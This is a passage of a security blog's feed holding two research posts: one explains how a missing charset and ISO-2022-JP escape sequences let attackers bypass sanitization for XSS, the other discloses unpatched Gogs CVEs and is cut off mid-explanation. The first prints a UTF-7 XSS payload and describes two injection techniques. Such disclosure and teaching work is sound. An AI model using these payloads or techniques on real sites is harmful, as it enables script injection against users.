&lt;/strong&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Encoding Differentials: Why Charset Matters]]></title><description><![CDATA[The absence of charset information seems to be a minor issue for a web application. This blog post explains why this is a false assumption and highlights the critical security implications.]]></description><link>https://www.sonarsource.com/blog/encoding-differentials-why-charset-matters</link><guid isPermaLink="false">fd8aeddb-f57d-5044-a9bb-13caa5428317</guid><dc:creator><![CDATA[Stefan Schiller]]></dc:creator><pubDate>Mon, 15 Jul 2024 15:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Do you notice something in the following HTTP response?&lt;/p&gt;&lt;pre&gt;&lt;code&gt;HTTP/1.1 200 OK
Server: Some Server
Content-Type: text/html
Content-Length: 1337

&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;&lt;title&gt;Some Page&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;
...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Based on this small portion of the HTTP response, you can assume that this web application is &lt;strong&gt;likely prone to an XSS vulnerability&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;How is this possible? Did you notice something?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you have doubts about the &lt;code&gt;Content-Type&lt;/code&gt; header, you are right. There is only a minor imperfection here: the header is &lt;strong&gt;missing&lt;/strong&gt; a &lt;code&gt;charset&lt;/code&gt; attribute. This does not sound like a big deal, however, this blog post will explain how attackers can exploit this to inject arbitrary JavaScript code into a website by &lt;strong&gt;consciously changing the character set&lt;/strong&gt; that the browser assumes.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This blog post&amp;#x27;s content was also presented at the &lt;a href=&quot;https://troopers.de/troopers24/talks/r3hxdq/&quot;&gt;TROOPERS24 conference&lt;/a&gt;. A recording of the talk can be found here: &lt;a href=&quot;https://www.youtube.com/watch?v=z-ug2dwcSz8&quot;&gt;From ASCII to UTF-16: Leveraging Encodings to Break Software&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Character Encodings&lt;/h2&gt;&lt;p&gt;A common &lt;code&gt;Content-Type&lt;/code&gt; header in an HTTP response looks like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;HTTP/1.1 200 OK
Server: Some Server
Content-Type: text/html; charset=utf-8
...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;charset&lt;/code&gt; attribute tells the browser that UTF-8 was used to encode the HTTP response body. A character encoding like UTF-8 defines a &lt;strong&gt;mapping between characters and bytes&lt;/strong&gt;. When a web server serves an HTML document, it maps the characters of the document to the corresponding bytes and transmits these in the HTTP response body. This process turns characters into bytes (&lt;em&gt;encode&lt;/em&gt;):&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/03789676-77cd-427e-90d8-d4451da66a27/encode.png&quot; /&gt;&lt;p&gt;When the browser receives these bytes in the HTTP response body, it can translate them back to the characters of the HTML document. This process turns bytes into characters (&lt;em&gt;decode&lt;/em&gt;):&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/6fe42fba-f2a0-4d0a-a461-aaf690ddcae3/decode.png&quot; /&gt;&lt;p&gt;UTF-8 is only one of &lt;strong&gt;many character encodings&lt;/strong&gt; that a modern browser must support according to the &lt;a href=&quot;https://html.spec.whatwg.org/#character-encodings&quot;&gt;HTML spec&lt;/a&gt;. There are plenty of others like &lt;code&gt;UTF-16&lt;/code&gt;, &lt;code&gt;ISO-8859-xx&lt;/code&gt;, &lt;code&gt;windows-125x&lt;/code&gt;, &lt;code&gt;GBK&lt;/code&gt;, &lt;code&gt;Big5&lt;/code&gt;, etc. It is essential that the browser knows which of those encodings the server used or it &lt;strong&gt;cannot properly decode&lt;/strong&gt; the bytes in the HTTP response body.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But what if there is no &lt;code&gt;charset&lt;/code&gt; attribute in the &lt;code&gt;Content-Type&lt;/code&gt; header or it is invalid?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In that case, the browser looks for a &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tag in the HTML document itself. This tag can also have a &lt;code&gt;charset&lt;/code&gt; attribute that indicates the character encoding (e.g., &lt;code&gt;&amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;&amp;gt;&lt;/code&gt;). This is already an act of balance for the browser: In order to read the HTML document, it needs to decode the HTTP response body. Thus, it needs to assume &lt;em&gt;some&lt;/em&gt; encoding, decode the HTTP body, look for a &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tag, and possibly re-decode the body with the indicated character encoding.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another, less common way to indicate the character encoding is the &lt;a href=&quot;https://en.wikipedia.org/wiki/Byte_order_mark&quot;&gt;Byte-Order Mark&lt;/a&gt;. This is a specific Unicode character (&lt;code&gt;U+FEFF&lt;/code&gt;) that can be placed in front of a string to indicate the byte endianness and character encoding. It is mainly used in files, but since these might be served via a web server, modern browsers support it. A Byte-Order Mark at the beginning of an HTML document even takes precedence over a &lt;code&gt;charset&lt;/code&gt; attribute in the &lt;code&gt;Content-Type&lt;/code&gt; header and the &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In summary, there are three common ways that a browser uses to &lt;strong&gt;determine the character encoding&lt;/strong&gt; of an HTML document, ordered by priority:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Byte-Order Mark at the beginning of the HTML document&lt;/li&gt;&lt;li&gt;&lt;code&gt;charset&lt;/code&gt; attribute in the &lt;code&gt;Content-Type&lt;/code&gt; header&lt;/li&gt;&lt;li&gt;&lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tag in the HTML document&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Missing Charset Information&lt;/h2&gt;&lt;p&gt;The Byte-Order Mark is generally very uncommon and the &lt;code&gt;charset&lt;/code&gt; attribute is not always present in a &lt;code&gt;Content-Type&lt;/code&gt; header or might be invalid. Also - especially for partial HTML responses - there is usually no &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tag that indicates a character encoding. In these cases, the browser does not have any information about what character set to use:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/a1479d94-8cd4-4a1d-ae56-ff9617ae6725/missing_charset.png&quot; /&gt;&lt;p&gt;Have you ever seen this error message? Probably not, because &lt;strong&gt;it does not exist&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Similar to faulty HTML syntax, browsers try to recover from missing character set information when parsing the content served from a web server and &lt;strong&gt;make the best of it&lt;/strong&gt;. This non-strict behavior contributes to a good user experience, but it may also &lt;strong&gt;open doors for exploitation techniques&lt;/strong&gt; like &lt;a href=&quot;https://www.sonarsource.com/blog/mxss-the-vulnerability-hiding-in-your-code/&quot;&gt;mXSS&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For missing character information, browsers try to make an educated guess based on the content, which is called &lt;a href=&quot;https://html.spec.whatwg.org/#encoding-sniffing-algorithm:~:text=The%20user%20agent%20may%20attempt%20to%20autodetect%20the%20character%20encoding%20from%20applying%20frequency%20analysis%20or%20other%20algorithms%20to%20the%20data%20stream.&quot;&gt;auto-detection&lt;/a&gt;. This is similar to &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#mime_sniffing&quot;&gt;MIME-type sniffing&lt;/a&gt; but operates on a character encoding level. Chromium’s rendering engine Blink, for example, uses the &lt;a href=&quot;https://github.com/google/compact_enc_det&quot;&gt;Compact Encoding Detection (CED) library&lt;/a&gt; to automatically detect the character encoding. From an attacker’s point of view, the &lt;strong&gt;auto-detection feature is very powerful&lt;/strong&gt; as we will see.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At this point, we are familiar with the different mechanisms a browser may use to determine the character encoding of an HTML document. But how could attackers exploit this?&lt;/p&gt;&lt;h2&gt;Encoding Differentials&lt;/h2&gt;&lt;p&gt;The purpose of character encoding is to translate characters into a computer-processable byte sequence. These bytes can be transmitted over a network and decoded back to characters by the receiver. This way, the &lt;strong&gt;exact same characters&lt;/strong&gt; that the sender intended to transmit are restored:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/8e95f56e-cce8-4e6b-b6b6-ec6fd5f9648b/encode-decode-ok.png&quot; /&gt;&lt;p&gt;This only works fine, when the sender and receiver agree upon the character encoding they use. If there is a &lt;strong&gt;mismatch&lt;/strong&gt; between the character encoding used for encoding and decoding, the receiver may &lt;em&gt;see&lt;/em&gt; different characters:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/1b7f0442-bc33-4a34-94ab-494792bd0bd9/encode-decode-not-ok.png&quot; /&gt;&lt;p&gt;Such a mismatch between the character encoding used for encoding and decoding is what we refer to as &lt;em&gt;Encoding Differential&lt;/em&gt; here.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For a web application, this becomes vital when user-controlled data is sanitized to prevent Cross-Site Scripting (XSS) vulnerabilities. If the character encoding that the browser assumes is different from what the web server intended, this could theoretically break the sanitization and lead to XSS vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This itself is no big news and even Google was prone to an issue like this &lt;a href=&quot;https://seclists.org/fulldisclosure/2005/Dec/att-1107/google_xss_211205.txt#:~:text=Google%27s%20404%20NOT%20FOUND%20mechanism&quot;&gt;back in 2005&lt;/a&gt;. Google’s 404 page did not provide charset information, which could be exploited by inserting a &lt;a href=&quot;https://en.wikipedia.org/wiki/UTF-7&quot;&gt;UTF-7&lt;/a&gt; XSS payload. In UTF-7, HTML special characters like angle brackets are encoded differently from ASCII which can be leveraged to bypass sanitization:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;+ADw-script+AD4-alert(1)+ADw-+AC8-script+AD4-&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This greatly demonstrated the dangers of this encoding, which was deprecated in the following years to prevent security issues like this. Nowadays, the HTML spec even explicitly &lt;a href=&quot;https://html.spec.whatwg.org/#refsUTF7:~:text=For%20example%2C%20the%20restriction%20on%20using%20UTF%2D7%20exists%20purely%20to%20avoid%20authors%20falling%20prey%20to%20a%20known%20cross%2Dsite%2Dscripting%20attack%20using%20UTF%2D7.&quot;&gt;forbids the usage of UTF-7&lt;/a&gt; to prevent XSS vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Although there are still a lot of other supported character encodings, most of these are not really useful from an attacker’s point of view. All &lt;strong&gt;HTML special characters&lt;/strong&gt; like angle brackets and quotes are &lt;strong&gt;ASCII only&lt;/strong&gt; and since most character encodings are ASCII-compatible, there is &lt;strong&gt;no difference&lt;/strong&gt; for these characters. Even for UTF-16, which is not ASCII-compatible due to its fixed amount of two bytes per character, it is usually not possible to smuggle ASCII characters, because their corresponding byte representation is the same, just with a trailing (little-endian) or leading (big-endian) zero byte.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, there is a particularly interesting encoding: &lt;strong&gt;ISO-2022-JP&lt;/strong&gt;.&lt;/p&gt;&lt;h2&gt;ISO-2022-JP&lt;/h2&gt;&lt;p&gt;ISO-2022-JP is a Japanese character encoding defined in &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc1468.html&quot;&gt;RFC 1468&lt;/a&gt;. It is one of the official character encodings that user agents must support, as defined by the &lt;a href=&quot;https://html.spec.whatwg.org/#character-encodings&quot;&gt;HTML standard&lt;/a&gt;. Particularly interesting about this encoding is that it supports certain &lt;strong&gt;escape sequences&lt;/strong&gt; to &lt;strong&gt;switch between different character sets&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For example, if a byte sequence contains the bytes &lt;code&gt;0x1b&lt;/code&gt;, &lt;code&gt;0x28&lt;/code&gt;, &lt;code&gt;0x42&lt;/code&gt;, these bytes are not decoded to a character but instead indicate that all following bytes should be decoded using ASCII. In total, there are four different escape sequences that can be used to switch between the character sets ASCII, JIS X 0201 1976, JIS X 0208 1978 and JIS X 0208 1983:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7b209ce6-241c-4340-a6e6-7c097c6b9c5d/iso-2022-jp.png&quot; /&gt;&lt;p&gt;This feature of ISO-2022-JP not only provides great flexibility but can also break fundamental assumptions. And there is another catch: at the time of writing, &lt;strong&gt;Chrome (Blink) and Firefox (Gecko) auto-detect this encoding. &lt;/strong&gt;A single occurrence of one of these escape sequences is usually enough to convince the auto-detection algorithm that the HTTP response body is encoded with ISO-2022-JP.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following sections explain two different exploitation techniques that attackers may use when they can make the browser assume an ISO-2022-JP charset. Depending on the capabilities of the attacker, this can for example be achieved by directly controlling the &lt;code&gt;charset&lt;/code&gt; attribute in the &lt;code&gt;Content-Type&lt;/code&gt; header or by inserting a &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tag via an HTML injection vulnerability. If a web server provides an invalid &lt;code&gt;charset&lt;/code&gt; attribute or none at all, there are usually no other prerequisites since attackers can easily switch the charset to ISO-2022-JP via auto-detection.&lt;/p&gt;&lt;h3&gt;Technique 1: Negating Backslash Escaping&lt;/h3&gt;&lt;p&gt;The scenario for this technique is that &lt;strong&gt;user-controlled data&lt;/strong&gt; is placed &lt;strong&gt;in a JavaScript string&lt;/strong&gt;:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7b29a332-aebf-4789-b64a-9171ea0f6f38/iso-2022-jp-teq1-01.png&quot; /&gt;&lt;p&gt;Let’s imagine a website that accepts two query parameters called &lt;code&gt;search&lt;/code&gt; and &lt;code&gt;lang&lt;/code&gt;. The first parameter is reflected in a plaintext context and the second parameter (&lt;code&gt;lang&lt;/code&gt;) is inserted into a JavaScript string:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/539746f8-646a-4ed5-8a85-b2e73a724284/iso-2022-jp-teq1-02.png&quot; /&gt;&lt;p&gt;HTML special characters in the &lt;code&gt;search&lt;/code&gt; parameter are HTML-encoded, and the &lt;code&gt;lang&lt;/code&gt; parameter is properly sanitized by escaping double quotes (&lt;code&gt;&amp;quot;&lt;/code&gt;) and backslashes (&lt;code&gt;\&lt;/code&gt;). Thus, it is not possible to break out of the string context and inject JavaScript code:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d0604dfd-fa98-46a7-b0cc-e6675d40744e/iso-2022-jp-teq1-03.png&quot; /&gt;&lt;p&gt;The default mode for ISO-2022-JP is ASCII. This means that all bytes of the received HTTP response body are decoded with ASCII and the resulting HTML document looks like what we would expect:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f439bfb5-f73d-4ef5-b217-62d0f9f027ea/iso-2022-jp-teq1-04.png&quot; /&gt;&lt;p&gt;Now, let’s assume an attacker inserts the escape sequence to switch to the JIS X 0201 1976 charset in the &lt;code&gt;search&lt;/code&gt; parameter (&lt;code&gt;0x1b&lt;/code&gt;, &lt;code&gt;0x28&lt;/code&gt;, &lt;code&gt;0x4a&lt;/code&gt;):&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f2440d8e-b63f-4c61-9664-9cb6632f0049/iso-2022-jp-teq1-05.png&quot; /&gt;&lt;p&gt;The browser now decodes all bytes following this escape sequence with JIS X 0201 1976:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0652ec9c-2f13-4196-9258-13450dd0dae6/iso-2022-jp-teq1-06.png&quot; /&gt;&lt;p&gt;As we can see, this still results in the same characters as before, since JIS X 0201 1976 is &lt;em&gt;mainly&lt;/em&gt; ASCII-compatible. However, if we closely inspect &lt;a href=&quot;https://en.wikipedia.org/wiki/JIS_X_0201#Codepage_layout&quot;&gt;its code table&lt;/a&gt;, we can notice that there are two exceptions (highlighted in yellow):&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/05df20d0-2049-4f37-8414-7f956f34d5df/jisx-0201-codetable.png&quot; /&gt;&lt;p&gt;The byte &lt;code&gt;0x5c&lt;/code&gt; is mapped to the yen character (&lt;code&gt;¥&lt;/code&gt;) and the byte &lt;code&gt;0x7e&lt;/code&gt; to the overline character (&lt;code&gt;‾&lt;/code&gt;). This is different from ASCII, where &lt;code&gt;0x5c&lt;/code&gt; is mapped to the backslash character (&lt;code&gt;\&lt;/code&gt;) and &lt;code&gt;0x7e&lt;/code&gt; to the tilde character (&lt;code&gt;~&lt;/code&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This means that when the web server tries to escape a double quote in the &lt;code&gt;lang&lt;/code&gt; parameter with a backslash, the browser does not &lt;em&gt;see&lt;/em&gt; a backslash anymore, but instead a yen sign:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/5afd4276-5177-4545-841d-7cdd3a9dc31c/iso-2022-jp-teq1-07.png&quot; /&gt;&lt;p&gt;Accordingly, the inserted double quote actually designates the end of the string and allows an attacker to inject arbitrary JavaScript code:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/bba1d004-96c5-4d59-a7a2-abf407e53184/iso-2022-jp-teq1-08.png&quot; /&gt;&lt;p&gt;Although this technique is quite powerful, it is limited to bypassing sanitization in a JavaScript context since a backslash character does not have special meaning in HTML. The next section explains a more advanced technique that can be applied in a pure HTML context.&lt;/p&gt;&lt;h3&gt;Technique 2: Breaking HTML Context&lt;/h3&gt;&lt;p&gt;The scenario for this second technique is that an attacker can control values in &lt;strong&gt;two different HTML contexts&lt;/strong&gt;. A common use case would be a website that supports markdown. For example, let’s consider the following markdown text:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/fb805311-69de-4451-a242-741b2fda8228/iso-2022-jp-teq2-01.png&quot; /&gt;&lt;p&gt;The resulting HTML code looks like this:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/9466dd63-fe60-421e-9c5e-b069116cf47b/iso-2022-jp-teq2-02.png&quot; /&gt;&lt;p&gt;Essential for this technique is that an attacker can control values in two different HTML contexts. In this case, these are:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Attribute context (image description/source)&lt;/li&gt;&lt;li&gt;Plaintext context (text surrounding images)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By default, ISO-2022-JP is in ASCII mode and the browser &lt;em&gt;sees&lt;/em&gt; the HTML document as expected:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/9d4c1bda-1e1e-4f10-be3d-1ac4ef7adaa7/iso-2022-jp-teq2-03.png&quot; /&gt;&lt;p&gt;Now, let’s assume an attacker inserts the escape sequence to switch the charset to JIS X 0208 1978 in the first image description:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d64afc3a-7339-466a-ab2d-49e9c9f3fae1/iso-2022-jp-teq2-04.png&quot; /&gt;&lt;p&gt;This makes the browser decode all bytes following with JIS X 0208 1978. This charset uses a fixed amount of 2 bytes per character and is not ASCII-compatible. This effectively breaks the HTML document:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/c6f350f6-d3c5-4e1c-abbb-b6f5bbfd01eb/iso-2022-jp-teq2-05.png&quot; /&gt;&lt;p&gt;However, a second escape sequence can be inserted in the plaintext context between both images to switch the charset back to ASCII:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/63b0ca03-7816-472f-b096-c28a53a68703/iso-2022-jp-teq2-06.png&quot; /&gt;&lt;p&gt;This way, all the following bytes are decoded using ASCII again:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/3836339d-258a-48af-8d95-e4ee95e880ec/iso-2022-jp-teq2-07.png&quot; /&gt;&lt;p&gt;When inspecting the HTML syntax, though, we can notice that something changed. The beginning of the second &lt;code&gt;img&lt;/code&gt; tag is now part of the &lt;code&gt;alt&lt;/code&gt; attribute value:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/12f5839b-8242-4437-a569-b470641b5bb0/iso-2022-jp-teq2-08.png&quot; /&gt;&lt;p&gt;The reason for this is that the 4 bytes in between both escape sequences were decoded using JIS X 0208 1978. This also &lt;strong&gt;consumed the closing double-quote&lt;/strong&gt; of the attribute value:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/2c3d6366-c6bd-45dc-a782-e1a7c1df3ca1/iso-2022-jp-teq2-09.png&quot; /&gt;&lt;p&gt;At this point, the &lt;code&gt;src&lt;/code&gt; attribute value of the second image is not an attribute value anymore. Thus, an attacker can replace this value with a JavaScript error handler:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/93dfbed8-51c1-42c6-a24e-1490e151b683/iso-2022-jp-teq2-10.png&quot; /&gt;&lt;p&gt;This, again, allows an attacker to inject arbitrary JavaScript code.&lt;/p&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post, we highlighted the importance of providing charset information when serving HTML documents. The absence of charset information can lead to severe XSS vulnerabilities when attackers are able to change the character set that the browser assumes.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We detailed how a browser determines the character set used to decode an HTTP response body and explained two different techniques that attackers may use to inject arbitrary JavaScript code into a website leveraging the ISO-2022-JP character encoding.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Although we consider a missing character set the actual vulnerability, a browser’s auto-detection greatly increases its impact. Because of this, we hope that browsers will disable the auto-detection mechanism according to our suggestion - at least for the ISO-2022-JP character encoding.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/mxss-the-vulnerability-hiding-in-your-code/&quot;&gt;mXSS: The Vulnerability Hiding in Your Code&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/joomla-multiple-xss-vulnerabilities/&quot;&gt;Joomla: PHP Bug Introduces Multiple XSS Vulnerabilities&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/avocado-nightmare-1/&quot;&gt;Code Interoperability: The Hazards of Technological Variety&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Securing Developer Tools: Unpatched Code Vulnerabilities in Gogs (2/2)]]></title><description><![CDATA[Learn about critical code vulnerabilities we discovered in Gogs, a source code hosting solution. This follow-up covers how less severe flaws can still have a critical impact.]]></description><link>https://www.sonarsource.com/blog/securing-developer-tools-unpatched-code-vulnerabilities-in-gogs-2</link><guid isPermaLink="false">46915bc4-d7f5-5750-b46f-8e03c50a2df2</guid><dc:creator><![CDATA[Thomas Chauchefoin, Paul Gerste]]></dc:creator><pubDate>Tue, 09 Jul 2024 15:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In &lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-unpatched-code-vulnerabilities-in-gogs-1/&quot;&gt;last week&amp;#x27;s blog post&lt;/a&gt;, we examined an unfixed vulnerability in Gogs, an open-source solution for self-hosting source code. The flaw is one of four vulnerabilities we discovered and reported to the maintainers. These issues allow attackers to compromise vulnerable instances, enabling them to steal source code, plant code backdoors, wipe all code, and more.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Gogs is a popular open-source project with over 44,000 stars on GitHub and 90 million downloads of its Docker image. We have previously investigated the security of other developer tools, so it was a natural fit to include Gogs in this research series and give its code base a look.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This blog post will first cover the impact of the vulnerabilities we found and reported. We will then discuss the technical details of two of those vulnerabilities. Finally, we will provide recommendations and patches for users to help them protect their Gogs installations.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;We found the following vulnerabilities and reported them to the maintainers of Gogs:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Argument Injection in the built-in SSH server (CVE-2024-39930, CVSS 9.9 Critical)&lt;/li&gt;&lt;li&gt;Deletion of internal files (CVE-2024-39931, CVSS 9.9 Critical)&lt;/li&gt;&lt;li&gt;Argument Injection during changes preview (CVE-2024-39932, CVSS 9.9 Critical)&lt;/li&gt;&lt;li&gt;Argument Injection when tagging new releases (CVE-2024-39933, CVSS 7.7 High)&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Unfortunately, the maintainers did not implement fixes and stopped communicating with us at some point after initially accepting our report. All four vulnerabilities are still present in the latest release of Gogs (0.13.0) and the latest commit in the Gogs repository (&lt;code&gt;5bdf91e&lt;/code&gt; at the time of writing). &lt;strong&gt;To protect yourself, read our recommendation section below.&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Attackers can execute arbitrary commands on the Gogs server using the first three vulnerabilities. The commands will run under the same use that Gogs runs as (configured via &lt;code&gt;RUN_USER&lt;/code&gt;). This allows them to read all source code on the instance, modify any code, delete all code, or attack internal hosts reachable from the Gogs server. Vulnerability 4 allows attackers to read arbitrary files from the Gogs server. These files include the source code stored on the Gogs instance and configuration secrets, likely allowing the attacker to impersonate other users and gain more privileges.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All four vulnerabilities require an attacker to be authenticated. You can find more details about the exploitability of CVE-2024-39930 in our previous blog post and details on CVE-2024-39931 and CVE-2024-39932 below. A quick &lt;a href=&quot;https://www.shodan.io/search?query=http.component%3A%22Gogs%22&quot;&gt;Shodan search&lt;/a&gt; now lists around open 7500 Gogs instances, about 200 more than last week:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/c3d0c038-e25c-453b-bc66-486f8047a6d8/gogs-shodan-report-2.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We did not confirm how many of these are exploitable, nor do we have any data on whether or not malicious actors are exploiting these vulnerabilities in the wild.&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;Last week, we looked at the details of &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-39930&quot;&gt;CVE-2024-39930&lt;/a&gt;, an argument injection in Gogs&amp;#x27; built-in SSH server. That vulnerability has a severe impact (Remote Code Execution), but Gogs&amp;#x27; default configuration is not vulnerable. Today, we will dive into the details of &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-39931&quot;&gt;CVE-2024-39931&lt;/a&gt; and &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-39932&quot;&gt;CVE-2024-39932&lt;/a&gt;, two of the remaining vulnerabilities we found and reported. They can be exploited by authenticated attackers in Gogs’ default configuration.&lt;/p&gt;&lt;h3&gt;Deletion of Internal Files (CVE-2024-39931)&lt;/h3&gt;&lt;p&gt;We will start with CVE-2024-39931, a path traversal vulnerability that allows attackers to delete arbitrary files on the system. The vulnerability fittingly exists in the file deletion feature of the web UI. To delete a file from a repo, a user clicks the delete button and is presented with a confirmation 